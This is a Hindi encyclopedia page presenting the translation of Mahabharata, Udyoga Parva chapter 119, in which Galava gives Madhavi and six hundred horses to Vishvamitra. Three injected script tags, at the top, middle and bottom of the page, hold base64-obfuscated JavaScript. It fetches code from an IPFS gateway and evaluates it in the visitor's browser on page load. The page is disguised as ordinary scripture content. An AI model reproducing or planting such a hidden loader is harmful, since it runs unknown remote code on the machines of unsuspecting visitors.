महाभारत उद्योग पर्व अध्याय 119 श्लोक 1-13

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

एकोनविंशत्यधिकशततम (119) अध्‍याय: उद्योग पर्व (भगवद्-यान पर्व)

महाभारत: उद्योग पर्व: एकोनविंशत्यधिकशततम अध्याय: श्लोक 1-13 का हिन्दी अनुवाद

गालव का छ सौ घोड़ों के साथ माधवी को विश्वामित्र की सेवा में देना और उनके द्वारा उसके गर्भ से अष्टक नामक पुत्र की उत्पत्ति होने के बाद उस कन्या को ययाति के यहाँ लौटा देना

नारद जी कहते हैं- उस समय विनतानन्दन गरुड़ ने गालव मुनि से हँसते हुए कहा- ‘ब्राह्मण ! बड़े सौभाग्य की बात है कि आज मैं तुम्हें यहाँ कृतकृत्य देख रहा हूँ’। गरुड़ की कही हुई यह बात सुनकर गालव बोले- ‘अभी गुरुदक्षिणा का एक चौथाई भाग बाकी रह गया है, जिसे शीघ्र पूरा करना है’। तब वक्ताओं में श्रेष्ठ गरुड़ ने गालव से कहा- ‘अब तुम्हें इसके लिए प्रयत्न नहीं करना चाहिए; क्योंकि तुम्हारा यह मनोरथ पूर्ण नहीं होगा। ‘पूर्वकाल की बात है, कान्यकुंज में राजा गाधि की कुमारी पुत्री सत्यवती को अपनी पत्नी बनाने के लिए ऋचीक मुनि ने राजा से उसे मांगा । तब राजा ने ऋचीक से कहा- ‘भगवन ! मुझे कन्या के शुल्क रूप में एक हजार ऐसे घोड़े दीजिये, जो चंद्रमा के समान कांतिमान हों तथा एक ओर से उनके कान श्याम रंग के हों’ गालव ! तब ऋचीक मुनि ‘तथास्तु' कहकर वरुण के लोक में गए और वहाँ अश्वतीर्थ में वैसे घोड़े प्राप्त करके उन्होने राजा गाधि को दे दिये । ‘राजा ने पुण्‍़डरिक नामक यज्ञ करके वे सभी घोड़े ब्राह्मणों को दक्षिणा रूप में बाँट दिये। तदनंतर राजाओं ने उनसे दो-दो सौ घोड़े खरीदकर अपने पास रख लिए। ‘द्विजश्रेष्ठ ! मार्ग में एक जगह नदी को पार करना पड़ा। इन छ: सौ घोड़ों के साथ चार सौ और थे । नदी पार करने के लिए ले जाये जाते समय वे चार सौ घोड़े वितस्ता (झेलम) की प्रखर धारा में बह गए। ‘गालव ! इस प्रकार इस देश में इन छ: सौ घोड़ों के सिवा दूसरे घोड़े अप्राप्य हैं । अत: उन्हें कहीं भी पाना असंभव है । मेरी राय यह है कि शेष दो सौ घोड़ों के बदले यह कन्या ही विश्वामित्रजी को समर्पित कर दो । धर्मात्मन ! इन छ: सौ घोड़ों के साथ विश्वामित्रजी की सेवा में इस कन्या को ही दे दो । द्विजश्रेष्ठ ! ऐसा करने से तुम्हारी सारी घबराहट दूर हो जाएगी और तुम सर्वथा कृतकृत्य हो जाओगे’। तब ‘बहुत अच्छा’ कहकर गालव गरुड़ के साथ वे (छ: सौ) घोड़े और वह कन्या लेकर विश्वामित्रजी के पास आए। आकर उन्होनें कहा- ‘गुरुदेव ! आप जैसा चाहते थे, वैसे ही ये छ: सौ घोड़े आपकी सेवा में प्रस्तुत हैं और शेष दो सौ के बदले आप इस कन्या को ग्रहण करें। ‘राजर्षियों ने इसके गर्भ से तीन धर्मात्मा पुत्र उत्पन्न किए हैं । अब आप भी एक नरश्रेष्ठ पुत्र उत्पन्न कीजिये, जिसकी संख्या चौथी होगी।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>